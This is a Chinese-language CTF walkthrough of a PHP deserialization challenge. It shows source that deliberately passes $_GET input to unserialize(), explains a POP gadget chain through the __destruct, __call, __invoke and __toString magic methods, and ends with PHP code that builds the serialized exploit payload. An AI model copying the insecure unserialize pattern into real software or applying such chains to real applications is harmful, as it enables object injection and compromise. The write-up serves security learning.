源码
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['str'];
unserialize($a);
?>
分析
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
- 两个共有属性
$mod1
、mod2
__destruct()
在对象被销毁时触发,调用$mod1->test1()
,故$this->mod1=new Call
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
- 两个共有属性
$mod1
、mod2
test1()
调用$mod1->test2()
,但并不存在这个方法,故用来触发__call()
,$this->mod1=new funct
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
- 两个共有属性
$mod1
、mod2
__call()
当调用对象中不可访问的方法时触发,它将$mod1
当作函数使用,触发func::__invode()
,故$this->mod1=new func
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
- 两个共有属性
$mod1
、mod2
__invoke()
在对象被当作函数调用时触发,它将$mod1
当作字符串调用,故$this->mod1=new string1
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
- 两个共有属性
$str1
、$str2
__toString()
在对象被当作字符串调用时触发,它调用$str1
的方法,故$this->str1=new GetFlag
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['str'];
unserialize($a);
payload
<?php
class start_gg {
public $mod1;
public $mod2;
}
class Call {
public $mod1;
public $mod2;
}
class funct {
public $mod1;
public $mod2;
}
class func {
public $mod1;
public $mod2;
}
class string1 {
public $str1;
public $str2;
}
class GetFlag {
}
$a = new start_gg;
$a->mod1 = new Call;
$a->mod1->mod1 = new funct;
$a->mod1->mod1->mod1 = new func;
$a->mod1->mod1->mod1->mod1 = new string1;
$a->mod1->mod1->mod1->mod1->str1 = new GetFlag;
echo serialize($a);